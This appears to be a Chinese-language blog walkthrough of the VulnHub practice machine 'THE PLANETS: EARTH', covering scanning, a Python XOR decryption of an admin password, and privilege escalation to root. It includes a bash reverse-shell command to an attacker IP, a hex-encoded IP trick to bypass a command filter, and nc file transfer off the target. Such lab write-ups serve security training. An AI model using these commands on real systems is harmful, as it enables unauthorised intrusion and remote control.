准备:

攻击机:虚拟机kali、本机win10。

靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/theplanets/Earth.ova,下载后直接vm打开即可。

信息收集:

通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap 192.168.0.0/24,获得靶机地址:192.168.0.11

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.0.11,显示开放了22、80、443端口,但是443端口需要进行dns解析。

在未设置dns解析时,访问下https和http服务显示均是400:

设置dns解析:

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后访问:https://earth.local/http://earth.local或https://terratest.earth.local获得初始界面:

kali:打开/etc/hosts文件,添加:192.168.0.11 earth.local 192.168.0.11 terratest.earth.local,然后同windows。

目录扫描:

使用dirmap进行目录扫描:python dirmap.py -i http://earth.local/ -lcf和python dirmap.py -i https://terratest.earth.local -lcf,获得一下目录信息:

对扫描出来的地址进行访问,获得一个登录界面、一个robots.txt文件,访问结果如下:

尝试访问一下testingnotes.*文件,后面后缀进行测试,最后发现txt文档可以访问,https://terratest.earth.local/testingnotes.txt

在该文件中发现了以下信息:

1、用户名信息:terra used as username for admin portal,用户名terra是超级管理员账户。

2、加密算法:Using XOR encryption as the algorithm, should be safe as used in RSA,加密算法XOR。

3、加密文本:testdata.txt was used to test encryption,测试数据在testdata.txt中。

xor算法:a^b=c,则c^b=a或c^a=b,所以我们就需要将发送得信息与密码本信息进行异或,得到原来发送得未加密得信息。

读取testdata.txt文件:

解码传输信息

#vlunhub之THE PLANETS: EARTH脚本
import binascii entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)
#脚本结果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

观察到最后得字符串信息是:earthclimatechangebad4humans得重复,因此猜测密码就是这个,因此在https://earth.local/admin/login界面使用账户名和密码进行登录:

获取flag

根据题目描述这题是要寻找两个flag:

因此通过find查找flag文件,find / -name "*flag*",

然后读取下/var/earth_web/user_flag.txt文件的信息,cat /var/earth_web/user_flag.txt,获取到flag值:

获取root权限

观察到当前用户是apache用户,那就是还差一个root用户,因此这里就要尝试获取root权限

首先获取下root权限下的文件都有哪些,命令:find / -user root -perm -4000 -print 2>/dev/null,发现/usr/bin/reset_root,结果如下:

尝试执行一下,但是重置密码失败

那就尝试获取下shell权限,开启kali的6688端口监听:nc -lvvp 6688

在网页输入框中输入 bash -i >& /dev/tcp/ 192.168.0.12/6688 0>&1 进行执行,但是显示被禁止了

发现被禁止后就在网上查找了以下,发现通过将ip地址转换成16禁止可以进行绕过:bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1,kali端成功获取到shell权限

因为shell上无法进行调试,因此把reset_root文件下载到本地进行调试,使用nc进行文件的传递,服务端:nc -nlvp 8899 >reset_root,shell端:nc 192.168.0.12 8899 < /usr/bin/reset_root,不分先后顺序

然后使用strace进行调试:strace ./reset_root,显示缺少三个文件

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (No such file or directory)
access("/dev/shm/Zw7bV9U5", F_OK) = -1 ENOENT (No such file or directory)
access("/tmp/kcM0Wewe", F_OK) = -1 ENOENT (No such file or directory)
write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44

那就去靶机上看一下这几个文件,发现靶机上也没有这几个文件

那就创建这几个文件后在尝试执行下reset_root文件,成功修改su密码为:Earth

在root权限下查找flag文件并读取flag值

vulnhub靶场之THE PLANETS: EARTH的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  3. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  4. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  5. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  6. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  7. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  8. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

  9. VulnHub靶场学习_HA:Forensics

    HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...

随机推荐

  1. 常用的函数式接口_Predicate接口和常用的函数式借楼_Predicate_默认方法and

    package com.yang.Test.PredicateStudy; import java.util.function.Predicate; /** * java.util.function. ...

  2. Mysql 数据恢复流程 基于binlog redolog undolog

    注:文中有个易混淆的地方 sql事务,即每次数据库操作生成的事务,这个事务trx_id只在undolog里存储,同时undolog维护了此事务是否完成的状态. 日志持久化事务,为了保证redolog和 ...

  3. for(int i=0;i<1000;i++)与 for(int i=1;i<=1000;i++)。 if ( i%500){}//前者表示0-501一个循环,后者1-500一个循环

    `package com.Itbz; import java.sql.Connection; import java.sql.PreparedStatement; /** 向mysql数据库批量添加数 ...

  4. mui switch(开关)里面token不能及时更新

    做登录的时候再本地用locaStorage存了一个token值,但是登录之后进入页面里面发现一个switch开关里面的token值会跟着开关的切换在上一个token和当前的这个token值之间切换,我 ...

  5. 【达人专栏】还不会用Apache Dolphinscheduler吗,大佬用时一个月写出的最全入门教学【二】

    02 Master启动流程 2.1 MasterServer的启动 在正式开始前,笔者想先鼓励一下大家.我们知道启动Master其实就是启动MasterServer,本质上与其他SpringBoot项 ...

  6. MyBatis 04 实战

    增删改查实现 在实际使用中,MyBatis 的使用遵从一定的规范. 常用的增删改查的 MyBatis 实现如下: Mapper.xml <?xml version="1.0" ...

  7. 一文理解Hadoop分布式存储和计算框架入门基础

    @ 目录 概述 定义 发展历史 发行版本 优势 生态项目 架构 组成模块 HDFS架构 YARN架构 部署 部署规划 前置条件 部署步骤 下载文件(三台都执行) 创建目录(三台都执行) 配置环境变量( ...

  8. React报错之React hook 'useState' is called conditionally

    正文从这开始~ 总览 当我们有条件地使用useState钩子时,或者在一个可能有返回值的条件之后,会产生"React hook 'useState' is called conditiona ...

  9. 编写X86的ShellCode

    ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...

  10. dotnet 设计规范 · 数组定义

    ✓ 建议在公开的 API 使用集合而不是数组.集合可以提供更多的信息. X 不建议设置数组类型的字段为只读.虽然用户不能修改字段,但是可以修改字段里面的元素.如果需要一个只读的集合,建议定义为只读集合 ...